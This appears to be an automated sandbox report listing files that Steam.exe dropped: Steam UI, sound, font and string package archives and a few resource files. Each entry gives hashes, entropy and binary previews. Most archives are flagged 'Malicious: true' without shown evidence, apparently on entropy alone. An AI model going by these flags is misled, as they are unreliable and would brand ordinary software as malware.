SHA-512:	BB0A7D30C0A6011A0D813AA0D08FA51A858BFB5B60BF6EF8FF0EA5B5F5A108FC4BBDEE3245094AD6AE3309B55475DA5E8575853318D94B6D711709C95237671E
Malicious:	true
Reputation:	unknown
Preview:	VZa...d].....(..`(..i.W........T..%].O.......^.S5...O...\^......B.8.N....`Vk.RW....Nsi.<...{.Y..WY...vA...;...Ow.......ln..O^....^.........s-.T..qz.L.._...9...u...`..1.3..!.........@.8.mCZ.+..6..+j...bz.~M....G..N....A...}..,..Q;.y......XF...z....Mm..>.M...EdY..zT.6....%..<.fb...'F......X...c.guc.......5..W.m$.k2....$....d..I.I<w...kR...E.....~..V..V.K5.#.I.......,R...2.}....%..&...J..+@..17...A..l...Fe..5...2<_!%%..8....VH..f.L......6....7...].8....]J...;......R.o.{.\7M-... ......".l.(D..7K.>..f..{...we.o .x..a\|....`...)up.EE.%...^C~.&...%5.U.C.oD....E.dk..@.FAU44.a..bTi.}.....7...oG8.71..y....2.Ft2../.,......0..!...:.};...9M.k..F.....g.d..5.&...mNkI/J....Rz.....".(.....V...........6.n.j........a.B..........C~P..A...m.Iy.........d...K,.+,.=..Ca...W..~......rMy.VM....T]N.r..%g.(...I..S..D...g......8.U.$..{.}.r^V!{]....\|.4-... .."..nw..l..7..F......d.'........-.&}.\.f>eo.+G.;..29...f..n............I@.9.......ACQ.m....HM.+..;.X...E

C:\Program Files (x86)\Steam\package\steamui_websrc_all.zip.vz.69019218fe12f0c44fbad339b6e6bee6d7cdd142_22923135

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	22923135
Entropy (8bit):	7.999991100328828
Encrypted:	true
SSDEEP:	393216:eOuh/WEc1V6vquRDPt79cV5dtkhjk3QOGA7r/VAdq67feD78kl+l/mUQ7:eOiRcbQFPtZa5dtkha+AnL6LeDhlMQ7
MD5:	A8ADFC2F117247D89995665207667F81
SHA1:	69019218FE12F0C44FBAD339B6E6BEE6D7CDD142
SHA-256:	B069C84602AF735AD585C01B8094265886D7935E5A4E7ADAEA5E8F9E88636627
SHA-512:	06408281CE50DC1585330F4302681D9FDA875241A47809CE8F74CEE4567072666952E05C5A2915EC3037464C5DA28E101E86A8121C8C27ED51E554604C93E73E
Malicious:	true
Reputation:	unknown
Preview:	VZahE.d].....(..`(..i..4z.......pA...:.......E.Q.mx.g..jeh.z.w.....87....Cg(d..a.Y.._..\1..@..#...?.Z.....z`f..9.....}...6:.C...Pl...!.F.p..6\|.Dx..B...)w..J..%4H..=+....\:5..z.K.9V..aT..+.u.;..t.L.\|..dS.\|.t........OE.A....._%.(.@0....,A;.....w++.ut......5AI..7.y...f....gr.....gX...R3.2...?0..0h.P...65.0....k......$.n....%......4,...y+....b..q..q.x.!.n?...V.J......Yi.iu.=.._D.3WMP.........n.w\.=}.X.a.......... H._.r.&v....r..w..2.p.J.A....i..J.....................y.W.Q#_..</).V...V.VP^....n..A......m..~.....Ck....$q.....+....[\#..M...&..E....Z.._.....Z...+..71.n.y....<E...V..>p[..^.'.....h~6...s...2.....y\|z.d.$.....t..7.<y.. 3+...../)'.b....w J<........<.AH..s1i..+.KGz.J.\|(.....hT..)1.M].R....3......).HC....P.J..!...2...[\|E...,x.r.Qp..CL..../9..9.B......r+e...)-v......B.+2...H.....g...@.j..V....r.].....e.^{\|G.....2.s<wq\|...S.R.o....uPt...e.....`..(.o?...w..Z..@...G.A..l.p`.D..Y.3...U7..v..../.XI.a........}/.TJ...8.;....Y.o:....k..i

C:\Program Files (x86)\Steam\package\steamui_websrc_movies_all.zip.e92f802a10e9495b1b1d84eca244237b0e1f6242

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	6511798
Entropy (8bit):	7.999598174555127
Encrypted:	true
SSDEEP:	196608:Bi124U+FlLkuGBYQqh2N12V4UqLHrNQagi:BiMkFyuGBAh2fwGHrqax
MD5:	7C535C0476EC5FC701B4C2196C2F3343
SHA1:	E92F802A10E9495B1B1D84ECA244237B0E1F6242
SHA-256:	A25CDA961567902C8CBE5C36CB623A96C9B548CB5E6B28E0BF8E7C0B7E7BC680
SHA-512:	AD2A86B9423C68B12967AECF6BE5E2221A35B469FC6D625E83D315851FFD3E5EEE7BA499D57F36B2267D144B3C3DFBCEF8BAB79A3409098498366D98D8A9B1D1
Malicious:	true
Reputation:	unknown
Preview:	{.....cHM....!......PK........NQnU................steamui\movies/PK........NQnUP\|.qb...j..&...steamui/movies/bigpicture_startup.webm..spf..6\|...m.m'.;w....dc.....v..W....{.N....\3}.t....)......<.}...E.."A!..&."...P (.j.%.......E>.S.3R.2.]..B....?.C....4!...W".mqS...Q...+.v.-..fCwY...x...J.R..$"$.3D.3. f..&.u.#.. ..kgm.OSz&.V.&.&M......fD..&.D.......[..7.#2q..s%.qs "b&baba...PPM....e(\$.J.R.).....a....[......^G.\|.".....E.7..... .M@.... .....-....@P..`S.<.....&@X.......iA..........(.H`..3....".........?xAc.N..Ba. . ..}..Y.X?..x.....L..c+..".".u..Xd.Wx........5....u0.U...$.......y.L.Q>.u.).=#.Q....{.....\|^P.....l1.Fn.).7;.f..6P^..$....z0...9..I...m.OmTy...$.....!........~e_..u=.$........s.:T^...fW,Z.QI.\|g..q..+...2&x....}...,....7...ur6.K...Q........._.A..q.......$.,..y.p..a.`....y^....d....m.....q._,.N.N.X.T.P.R.R....\|.>...N.J..!..[K..s.....sb....X..o<.SN.F.>.6.V.R.R.T..,.NsDcV.Y.N..R!S............L.D..B...?i..<z.Pf..6.>{8.q.W..u....~.S^.{....l..l\@......s

C:\Program Files (x86)\Steam\package\steamui_websrc_sounds_all.zip.vz.bd24952948415fdf999cc7546ec13ff0053438dd_2434551

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	2434551
Entropy (8bit):	7.999924268985543
Encrypted:	true
SSDEEP:	49152:eBRmWwExjKMunZedlSiId2wpBXSX6MPvPkUaiwapqit7c4E5OGQFZHx3e7Bp:eCByjVOEdId2GBXWvM9ap/cn5OGQvHxU
MD5:	0BB9A0A6992FC3FEF81A9500E2883B7B
SHA1:	BD24952948415FDF999CC7546EC13FF0053438DD
SHA-256:	3B17D5EFE25D70A0F720611EE3E2184BF5B95CC9A82E3D63248A8A248A99E8BD
SHA-512:	878C64F1EE3BDFEDBA634AD4C484CD9856734BC5A6967002197C5EA07E36A4C441AA62C17DD4C4EA6AF13D877877CB42EAE1255642E95300327CCEC1ABE07FD3
Malicious:	true
Reputation:	unknown
Preview:	VZa.g.d].....(..`(..ix..'..B..R.Q..:.0..........,.V.[...a.l_p...@...]..h.=......S...f.2P../@m.fX}....+x%.6......@.1b.5....b.s.n.LK,oX"...\..Dy.u.......>Q.{:..jM...6.#[..f.q....F..'..V..d....gK5...w.,.V....i.\|.DG~0.\|y.r.G.B.....G.6-".z..b..Z.8.y$Z....0.......;.].(..q.sLh......`..4...~MYaA...2.<...bs~...r..sKl.Aa....?..V...FiC....".u.l..S.." .qvBV.2...C'Lw.(..8.....M1..e^..=..b..\6W.i..0H...yVa..n...)!.E....x....P.]w..J.0wj<.j..\.[4?..p..w{L..~....X.&.U...F.HU..s..%z.8.f.wd....@;v.6C..R.u(=........d......`.63..2;...H/I6K.qoJhP...JO.K...?...d...... V.O...\|.I.....R....\|...5.D.g....$]<......s...V.p.`..O.M/P.q.X.w.mS..p:8Z..$]...`.g...oo*.P.E...KHtU.#j.f..>..]t:..5j....g%vM.....c..K.0}r.mU..Z&t.P.a....hZ..>.!..v....Y?U\\|./.G....c7".a....L.3."...&..ShcT9...<.R.......)U........-.if..iiZ.Fz^.......S....{.F......Vd.Jmm......x.c.~z..\`^....,g..({,vn>`...&....V..~....+.....fl.U..r..9.....f.f.......q..v..O..M.=..U.....Vy....,,.G......^..ZgJ.U.#J./G......]

C:\Program Files (x86)\Steam\package\strings_all.zip.vz.b4145d1f5eecd6456963e7c2b090d31360713c57_1976877

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	1976877
Entropy (8bit):	7.999909432083624
Encrypted:	true
SSDEEP:	49152:8gpwC1QQ5xQaKwQhSXlp+Z+ImZsTqXf928Gmfbc:HwMQ3aRS+HZwqXf91Gmc
MD5:	CB1030C5BFA5A5023501091DC7C24F9B
SHA1:	B4145D1F5EECD6456963E7C2B090D31360713C57
SHA-256:	DDCE902A30650B5118BB9ECE71F91B49BEA61ED370485866BE536906D7B92C43
SHA-512:	A1657C4F209158065FB691180CEF1E10F0753B48AC24940DA849F02B072FA5411DA3915ADC18074FEE573E4CC7EB5160EA0EDB3B45D34D2DCB961E6A5A7C0506
Malicious:	true
Reputation:	unknown
Preview:	VZafVvd].....(..`(..g.2.H..x.+....b%..W...'iP........VQ..TMM.R....l....;.?..2KW...y}....+.....c.F.....;Q..`...C.S...,.r=.I."..6/.....B...1i...j.>L$..rh..Hi,...[..1...U..N.;-.C.....e8.J."M..`@j`Q9...3.].@.IL.P..J0..B...E..)).sP...^h..QYp.\|.W.X.8..5/.s.5..........RbGR. ...3b...J..B...^r..&....\|.a.E./q1.{\|rq..`.E.C..II..+.F-..Cd...U....C;..`.........,_......P.A\,.....`xu...H.S.N^.b.\|...S.....0]r(.o....B..n..@.@..o..J..)Q&.._.=...}%f.O..b...`K...<.\..(s...2.Vq.....YVM..V..3o......E'.b......<x.R..'RW...L....'3.......p...+C.0.s...Z.....\I{O.:...g}...C1u.@.v.p(..I.k../<H..O..7%/..........[.N$..L..T.p?4W..s.A.....^a.f..{....e......_....hW..[..nQG....{".GLY....z.."..X>.Cq.m..#P....Q.D{...q{.p...-`..0\...;D,x.[...E...+].~..-.Y#..f...<...FV.0..L^_[..n........W.p.<U.t#"^..f.Fg.......rh......v......].r;U....A.m.pS...]....#.8...'u)7T..W..%..\.&.I...w.M...k..CO.*.\|........`.XM....Z....r...?......yn.D.n5...."s.'....4I....lW...G0...S3..s...H=!.hhp......

C:\Program Files (x86)\Steam\package\strings_en_all.zip.fa6949f4468780b96f0fd1dbaf1093db93b35245

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Zip archive data, made by v2.0, extract using at least v2.0, last modified Sat Mar 5 07:24:24 2016, method=store
Category:	dropped
Size (bytes):	116360
Entropy (8bit):	7.993339367248252
Encrypted:	true
SSDEEP:	3072:lMHrZPktgGgAJBWz3seLxgxZh0HRV7+mM7nUlPNWJ:lMNOfte9xgxj07iIWJ
MD5:	98AA709661ADA31198C5E533BC9BA016
SHA1:	FA6949F4468780B96F0FD1DBAF1093DB93B35245
SHA-256:	3A3DD1A021D5B19D938C1BC9A2F79B31F0B0A70EC794880CE4729FF9660F9743
SHA-512:	9BBB5319E1722EA8A76EF716EA1993A09E0E5E4026645790C6684082CF95B98CB7AF69E2AF3EDD0A2BE418C3638C4AE14D8F0F1C1BF96B867EFF954F9E7C22CF
Malicious:	true
Reputation:	unknown
Preview:	..L.O.......<.....PK...........V................controller_base\localization/PK........W.NV.k!S_.......4...controller_base/localization/dualshock_4_english.txt..Ao.0.....\|..;.j...u.V.H&m'.........}.....#.........K.C)..{v{...f.....I..'.:)E..a...~D_t..s....M.muc.h..F.........m.`...T..]V.)......St.h..y./....g...Vw....^...t.L.DO.V..e~.c%.,7.E.....u.....R(xBg.4.......t.SN.w:..T...i5.k..j.V.......H...%..).R.i..M.L.0.n....r.R..T.%E..i..ro...'..t.......=.!..0...;.9"..1=..q!F..J..O}....~...g.{V.(.q.C...un..91....vh<.'@..x !.?:..W..klb..N..]...vW.E..UF..wI..~.V.....7.zYl9n......t..]..p...}U.z.h..r.......i.%..6..1.....r.K.U..n.Qs.m.Z...3102v+'(.!.O4..z.o.u.-X:O...KP.s..&.W.az.B.....,.p..s......R.....6.S .0xt.#v..fx..b..^.~J......PK..........8S...>.......9...controller_base/localization/steam_controller_english.txt...n.0...T.;D...}..T.@..f....\.&..c.A.y....o..bs>;..m....\|..F...*...^_MJ..]74..@9...+m.....(.y?b....D.P<.f....\|.....3......6}..q.'L9...X..b.z

C:\Program Files (x86)\Steam\package\tenfoot_all.zip.vz.fab79f3519d90c15a2afbbc46e6c340b861953d1_2381108

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	2381108
Entropy (8bit):	7.99993163358101
Encrypted:	true
SSDEEP:	49152:VIMVzQ3RSF/zRAJlaqlX7CeodAg5Ew/9UawKCu6/q/moGQ:xHtKPChAavVQZ/nVQ
MD5:	CCE39E25DA9CD10E49E1F3E9075F0C3B
SHA1:	FAB79F3519D90C15A2AFBBC46E6C340B861953D1
SHA-256:	8994E187184CD4D6978643DC6B2F09CD99A3270E6151D7E0C465F31960809488
SHA-512:	4BF58D994F7EA85CDCF8AF961ECCC5CFAAE246E3477FA82BC876D4151C1BDB778EB6448A6D874E8EBB764062858CE19D1A5969980EF977D03BCB92E98E4515D2
Malicious:	true
Reputation:	unknown
Preview:	VZa.).d].....(..`(..iB.>.Gk......b.j...Z.Fp2.....x..T4.........p......0..(t..y.]1<;...z.;..i..D.IZ.P.K..RC.`u..Ep-v....c.K..V."+.......x....p..-H....8\...,U...WEU^......M..P...mq]..A..B...w,...z..MU9k,...H...M.1.q.s...2..,..L........B..KB..J......P...'......b.>.C.k.9.9'.d.........u..y.................tsT.zN...c.x.!.....y.o.9..q1tI....4.........&..i......N.u>OQw...b..8.5.>AX..6.T.?^..i1.wvM". .....Ig.p........G...P.T4.......q.G....j.....c..s.d.y.7...:6@L.-.&..p.j.l4X........[U.RF~_......A.....; ..l...{=.L....../~..}.H.M2.jN...wJ+T&...qx..?.9.T....p...A..Wrn.?Q;. ..$.X.".x/3...R=...........H......H.....L..,.,.N...>.........V...qr).F.6......p...ZX..c..Iw.....h.`..E.......B..-.)....0..o.H...M0...L..sM..22...?~..I.,^..\|..?U._.>....L,.T.....G"..%.R..(....U..O..W.......%tUQ..iD.0b..........'z.,B.l..._.6.b.....&.o...2.Y)J...U..5....ad.....[P5&..........!Ek."1....\I.../.a.....d.6....JEDb.p.V.\|.......EKl...#.........I..2..

C:\Program Files (x86)\Steam\package\tenfoot_ambientsounds_all.zip.c8342205c2cdfec5329ec8ec2905ddaa33be3cb8

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	7973468
Entropy (8bit):	7.998937466026421
Encrypted:	true
SSDEEP:	196608:6I0PgOwdUE+t/2BHlExMZbwXQZc7eMA1Q+0/a:6/SUJkAzlEY/a
MD5:	997FE911878F2E2DDF27DAB1B7779846
SHA1:	C8342205C2CDFEC5329EC8EC2905DDAA33BE3CB8
SHA-256:	FAC7781AC2A6D8C1C8D9C06238E3B59710B15867E26002F00219ED968BE7B485
SHA-512:	648F61845307DBD27C83E907E6CD1215679EBD9C4CCA2D373BA066337BB176221E870FCE50A1AE0085B88E4533AE1AE199E1A99B55A5281BAC46D2E722CCDA06
Malicious:	true
Reputation:	unknown
Preview:	[...k....Sl...gK..PK..........,A............ ...tenfoot\resource\sounds\ambient/PK..........,A,.- .....b..@...tenfoot/resource/sounds/ambient/amb_bigfoot_backing_drone_01.mp3.e\.o..\|...... ...DG)....1`t#..#%..AIE...D,R...?.7}......{v....:.8.3.i......e.........[^...6....s...l/....{...t.3/..n.w.....n.....8.....jy....?........P........7(..W4.....G.(..Gf.u..wPL._.Q........... }..\|....._.{...r.x......)R( N..K..8.w.vpG..E........Q.......\|.I^...%.L$.I....0#.@Z..\|M..6yW..x}$.I...=.....S....k.V..o.....2#...p.,G.(.$xm....1.....A4......p.....?7....bI..~..%.......d"...<.j1.Yxsq.7z)VP...g.1:.Q......'.....G./(...x.....5..XmG...3.D.J.p..r...>E/....g>l;........Q>...Rt&@.I..T..V1c.....x..@q@<.P.8"........B.R5.....63...#./.....5.....N..F...yw..Lp......t.2....E...s.D8..q.....`o.c!....4.. cD!..V.}..j.!...5..d..cV...a...}k.a.@..1..>%..2..T..`........-VAc...n.@.q.g_@...~....v..G..8 .1..........K.,.1.VN......"..~.......~..-xL.x..x.:....o..`...-..Sl../...>..g

C:\Program Files (x86)\Steam\package\tenfoot_dicts_all.zip.3a6cb3db75398c509bdc6e389408b6951017494b

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	12274769
Entropy (8bit):	7.994155274310135
Encrypted:	true
SSDEEP:	196608:VPjpz5Qre4j4oB/jJAdGbAZg0OKkqgMz/t8LFYFealIjQ/9/yCoy58BPTRJqs5//:ppqrlj4o1Jia0gdqgM58LFYFealIiy0I
MD5:	0F837167CE2D59806E544C2C5846DCEA
SHA1:	3A6CB3DB75398C509BDC6E389408B6951017494B
SHA-256:	E18BC40936B3E0B29A6F5ECB5CA8E598E85493EF01ADEDED93292CFA4BFD5EA3
SHA-512:	AAA92C36B8E119D1A83439A19BED8E7AB794AA67CCCC3BAEFC546DAFC75F5DF17B73FFD1E8D8676979C9BF0A0AA1749CF94A9D2F9757DFE7016A0C7212E3CED8
Malicious:	true
Reputation:	unknown
Preview:	.9.}..InR...B..m].-PK........d^'G................tenfoot\resource\wordlists/PK........d^'G............7...tenfoot/resource/wordlists/brazilian_compiled_words.dic..@............\..#Y...m.....R.o.....w........s...fH.q.`F.8..".p.Q58'.J..D..Rj@.....P....u.E...g.....u..]..........R.....wi...H.....>...oi....:...O.T.6..K:...&..L..M.4n..(..t.G.>dU^4uzK..?.,..:.?.e._..T..1..u.....6Um..fu....L....-...7..Oz.........s..YSd.{Z.F.....)VY.X.].7...6.......Ni.e.>..oiT..fi[..v...i.5e..y..U...xN.}S.t_..:KWMV..vU...p=..n.T..TT...}..S.....+.e.^?.z...}Q..$..(}..yV%]Q...6.0]..n...R_.C.....>....-.+uu..T..b.....i..z.....~mTu.?+..o.B...t.>/.~...t...+.t...z.N..w.l..M.Q.sU.....j].k.........0k_......O.SQ.{.n..;..==..I..]rmY....l...p].i.w]........Z.u.~T.b?.b.Oy.&M..S'Y.%...7....j.....N_...C..W.dU...8}m..Uq.WM..:}m...M...r..i.RWm........k..f..s..M.n............xF}.5..O..U.....\/..,^..\|y..S..N.U.r.e.5>.j-.b..j...w.{.b.......KO..n.m*...kU...@.Z.o)k....2.......z...

C:\Program Files (x86)\Steam\package\tenfoot_fonts_all.zip.vz.e19674422bc376becd7bf4a73b4b52eefc34c7fe_12075477

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	12075477
Entropy (8bit):	7.999985672570836
Encrypted:	true
SSDEEP:	196608:DAZnlzRU1PB/KZKcI5ErOxhE1/esP2vychrlu8m+ruOmHq7C9F:D8zRULqO5UOrE1/esOT8MDmHEC9F
MD5:	2C1BA5DF4D12670EB82DA7B4243EE808
SHA1:	E19674422BC376BECD7BF4A73B4B52EEFC34C7FE
SHA-256:	71C8784E61FDBBFDCB1010BB94C1A59AF18342C9DFF69A07924AD76222B240FF
SHA-512:	2BB827EC902140B12639502A26096FFFDAF9C1A49A5997613CC08643099FEA1C2C702E58ECD2A5A5086EA1AE642CA881B69C1643700BB5F3A1F3C5208D625A5E
Malicious:	true
Reputation:	unknown
Preview:	VZa..U].....(..`(..i3<..e....._g.?...L....'.-#.}...... M9...9i\}?.......!z.&W.....W..........(.H\\.....c.#..e...e...B..+..QPD^....0...v..S....Q....G/.,..=....PS.;...e..\|6...LQ..K..<..U.$0...;...6gv....GR.1.-..v....x..0=.W5l4...w.;.7...#....b..7....m.F.....;..?F....x..`+.......Z9H!\|...2....1`.t....e@.xX4..._...3.A.5...jo.{B.8$.M..x...V...o3...m..@..CG^..a..N#..o...jy.b..k]1C...nG.2s.]K.TKE....a5.4.;o.....<Fu.......R.L.t........A~.....`.k;..D..y.P.lX.L........m......m....`?.L..#.#..[].(...{+B.\|......X].rm4;...f.w.$.Y...?...{.(.f...e.1j_....U.+...q..6..Aj...1.g.....4...y....b......$.x.r..e..E'.9!.p;...."y..<.........,.O..]..T..[...o.s.Y...C].vVo.Wo."f.S..b.......W.Uc...g..uEE.bd.....A.O.......@.g9..}..#1t..{....u.W..C...\|...!.j...'...d.....z.=..M.S..,.yP.S..yG....^.nbe4...`o.q....._E.....8$.e..I$.Zo.U..\|.Y..:.K^..n..n...$.6.N..l....]..6.{.f...Y@.7....2.X\..K....n..h..l.x%*...3.s?...7u.6.......wn.k>......2.2..C.S..?t......g.}A...)..@..

C:\Program Files (x86)\Steam\package\tenfoot_images_all.zip.vz.2bb2e0fd7778b60915d496578aa4722e1db8c58f_32706663

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	32706663
Entropy (8bit):	7.999994464861472
Encrypted:	true
SSDEEP:	786432:ejt4iVHMUVBB9KxnDc/1NMBzHryzewWyzN256B2quyc:a4iVvmlMRzewfZ/U
MD5:	D2C130C4F9B75A6F342CF7766CE1E5EC
SHA1:	2BB2E0FD7778B60915D496578AA4722E1DB8C58F
SHA-256:	F275FAC12C0DA5AD0255FAB9345B47478B624F159C0AB5059E995A5B8C86F0AD
SHA-512:	27DADC6B9BDEE3909223E3FBBE2BE9C57114893AE6BF21AD14F9768BF08A4FD6CE199FC7DEE07097C5CA87BC23B6CA9CC3F256D4C729E9134FC5E862E696BE84
Malicious:	true
Reputation:	unknown
Preview:	VZa...a].....(..`(..i..S.7...E..+1e......t1...,..{A..>X....L.Q...b.d..S..r....IS.A...'..qA%.....E#....W.`.J....>?...C.....$..&...?....5.f..3.oK,E._......r..#H&=.:C.?....e..l.....cZ...<....4Ro........py...+3.CR&y..A>>...CiN./.v.Jo.d.X..........=9.C.P...(..!..E...Ke......m.dzd......+>...sW.,....,.q....c.....z....rn....K..%JG....&[.n-^..f.....\|r.6%....Ept.. ....a5.w.....V.k5 .....bk.ER....%.....#<+v&^,.f....#.l......u..AE..r.@+H.jDz......M.d..V...).l.+%Y...g... ..7...9./......=.T.c....2.jN.5.1eB.....S....Z?$..c.3L@^lB....:.z!..^8r.g8....Z......$...\..m.p..&..6e.....i....x3.....?.....IFB.....T....h~hU&....L.bJ.}.v.N..f..(.......B.u...`....\|...[..]...3a..Mq9D........#...s.[._R.U.1F..$..>.Zj..U.z'r'._d...[....K.?..$i.....s...:...~.#....h.w...l...w.UH..x...HA-M..g....!x...7......%....Z...Za9v<.3.}......#..[..M....8++.A.}..o...)-J.W.Z......8a....\"..;.-...b.k..K.......x.D..Iy...5.wZ..K...4D.'....Z...{...Ry...h.9....O.=..GPEu.7D&.:j+#\|.

C:\Program Files (x86)\Steam\package\tenfoot_misc_all.zip.a49df66ba6bd900ed2c58bb4a9a578752f73f511

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	13179376
Entropy (8bit):	7.999263759251896
Encrypted:	true
SSDEEP:	393216:znL2ixbVQvgEJRihq7cFsTUZBXkptVeEA6zc/yCaEGo:zNbVQvgEfihq7rOlkrMEA6zcw7o
MD5:	6F6DB6E314556CA8569F04335CEF07BF
SHA1:	A49DF66BA6BD900ED2C58BB4A9A578752F73F511
SHA-256:	02456842EDE50A48B46C9822D697AA77C206B7EBF30C669DE86A8680788AACEC
SHA-512:	28EDBA3969386105B745EE02D6736309F69119664E07C3F2584F75E675592737F187C9761132FBCC8282751CA9A3E59A6155FDAA7E9726ACFFC99523F1B10E09
Malicious:	true
Reputation:	unknown
Preview:	;9h.\|....wq..Mg....PK........E.AG................tenfoot\resource\images/PK........E.AG............ ...tenfoot\resource\images\library/PK........E.AG............ ...tenfoot\resource\images\overlay/PK........E.AG................tenfoot\resource\images\store/PK...........Ec,.H. ..H&..'...tenfoot/resource/images/carousel_bg.png.g8.^.>.D...D....w.w".>....h..ND.2J...01.D'..1zo.`......s.s....\|\|....Z....k......N....;w.55T..C.v...O.......v.gb.....=>..l...(.{.:.i..8:.u.....r..s......d..#m...o./.......Y..O.;..........;.....l/.n".+.......v0....]......d........a.wsu.J...G\....2......."...I..aS..v`.......d..........e...................d.....i........Y....@ Oi..???~?.~.oG.!))...........p.....9.;...................H........?a..U...&.o.) ./(........nn.....:\|.?..F....o...>.v.<.....=....l@..F....].7N. ....'............?....@.........?.~gg{iqQe1)Q.1.aI.!!UaI5U1%e.a)%.a..E...x...9....k..s..-._B.O.............\X...."..s.O....E..r..IF.....m.G;.Z..h..........?.~.b...-{.......^.Y..&....

C:\Program Files (x86)\Steam\package\tenfoot_sounds_all.zip.vz.3a674120cadd742865159e85dd3ec75b7dcc748c_1226636

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	1226636
Entropy (8bit):	7.999850864945032
Encrypted:	true
SSDEEP:	24576:MnN7itUkgKKnWOWt6n+StZYQpnYvMUNYPSnRozjRt+:o7it3Kngt6nWQZSvqKnwFt+
MD5:	6BC34BABA039634C1DFEF3C17E7302D2
SHA1:	3A674120CADD742865159E85DD3EC75B7DCC748C
SHA-256:	A1FC7F03D0840AF30429A83D4A5A8E166E6DD75B7A5B65BE67614F715BB1E54F
SHA-512:	360FE1359288F239CCCD5B57BD8F50C8A3CC878EA5032C6202F235496F0476EDB939F3F795163698A5D99B61A8F101C33C70E772D246FAE8D93C08174C7F3A61
Malicious:	true
Reputation:	unknown
Preview:	VZa.\kP].....(..`(..i.}.k..JZ...5.s..1XO..r..!ld.`......<.1...w..Fs.h.X....4(......a...z.#.....S..r.Q.....-.1..%...U.y.mcw..=...:...iA.......av..d...7j.....#.F>b86.(..4.......D.......N].....!.-e.X_..S.(rk..4..CN.;.~&.d.W..y.....F.c.OB.....:..\|..E8.#ln.2ghb.M......../..!.i(3....O.D[./kbg...= .{[.{...iO#S..n...p...f.&.!.....oJ..s.....C.._.&....d.....l.rc._....nXXh<..7......Ay..0..`.WxXY..u!...V.N.\SL.t.R.....+F.H1.Q..W..Q....(...,4#.V...O.$.....0#z.KD../..D}.B.........p6.8...D....Jf.6....p....I.....$n../."b....G.U.."...^.{r...,`..H=.....)o}u+o@i..!x.O>..3.`)..''.YAg..e.wtC.4$..>%.L.T.FwW./...../O...+..[.n...g<.7.7.tH..a...^........L....5.6...T..&..pw4...W.L:(^..P#.#7..t..V....p..;.B&.....R.(#.....<e.E....&=.......?1..K..i..0}_Y.ooT.B.....y.$J..B......Q.of..u$.Gm)..Y..OI.J........6....x....C....=..:_*.........b....8.PQw.. .T..1......@.^.Ue....o....T.\|..q>\|..isQN.....v.{%&d.....{......B.cbk ....H.]{.g....Qwu/...z..].mT1W.=.......e...

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\browser\webkit.css_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	28
Entropy (8bit):	4.110577243331642
Encrypted:	false
SSDEEP:	3:UFKTQEsFeBBjYy:UFKT7sFvy
MD5:	6AEC7200BD2855D6EEF21FB011086DAE
SHA1:	77400004B5A7646E5E94CDA5CD89C0ACACF79C70
SHA-256:	1046AB46BDE3877A002B1C0B0DBCE005F805B42D7698F3635DE8778F4B638268
SHA-512:	D16C5DA0AB4F761383EBA3FBDDCB55991D1A831294AB6042C7D1E4CCABC3C6CB060CA1CD90FE7C5EEA3CD216014FDA88BBC66942195C7A9666F5EF6B00A93E79
Malicious:	false
Reputation:	unknown
Preview:	body { overflow: hidden; }..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\default_keybinds.cfg_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1717
Entropy (8bit):	4.951037138351578
Encrypted:	false
SSDEEP:	24:E8G5GGmcMLeJktCkJywSiHBXGWIL4m6kNOkMLcPc424Q7O4bob4tbkkOYwOADaOv:bGUXhtdVBXl0AGP9sxbuamv
MD5:	06680EAAD548B57DCC9521FA5A5E0507
SHA1:	EB08B6F8A59B24E5127CF9696E37FEEDB7B84A15
SHA-256:	F0368550FA377AF8D411488B3B28B5F851D8A55BE2717D87F329EB0409DD72C7
SHA-512:	2AA3CE6213A5B966237634C2182A902AFA26110100653DA58FCD69C8B4D972D9727DBDCB51CC49F389117D91CCB54CE525048380734542EC3E888A1C1BF922AF
Malicious:	false
Reputation:	unknown
Preview:	key_left MoveLeft..key_right MoveRight..key_up MoveUp..key_down MoveDown..key_minus ScrollUp..key_equal ScrollDown..key_pageup PageUp..key_pagedown PageDown..key_tab TabForward..mod_shift+key_tab TabBackward..mod_alt+key_q QuitApp..key_home GuideButton..key_home(up) GuideButtonUp..key_f1 ProfileOn..key_f2 ProfileOff..key_f3 DumpMemory..key_f5 Refresh..key_f6 ToggleDebugger..key_f9 ShowPanelZoo..key_enter Activated..key_pad_enter Activated..key_escape Cancelled..key_app ContextMenu..mod_ctrl+mod_shift+key_left ToggleWebBrowser..mod_ctrl+mod_shift+key_right ToggleFriends....pad_stick1_up MoveUp..pad_stick1_down MoveDown..pad_stick1_left MoveLeft..pad_stick1_right MoveRight..pad_up MoveUp..pad_down MoveDown..pad_left MoveLeft..pad_right MoveRight..pad_left_shoulder ToggleWebBrowser..pad_right_shoulder ToggleFriends..pad_a Activated..pad_b Cancelled..pad_guide GuideButton..pad_guide(up) GuideButtonUp....steampad_dpad_up None..steampad_dpad_down None..steampad_dpad_left None..steampad_dpad_

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\abutton.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 56 x 50 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	11218
Entropy (8bit):	6.271898299442401
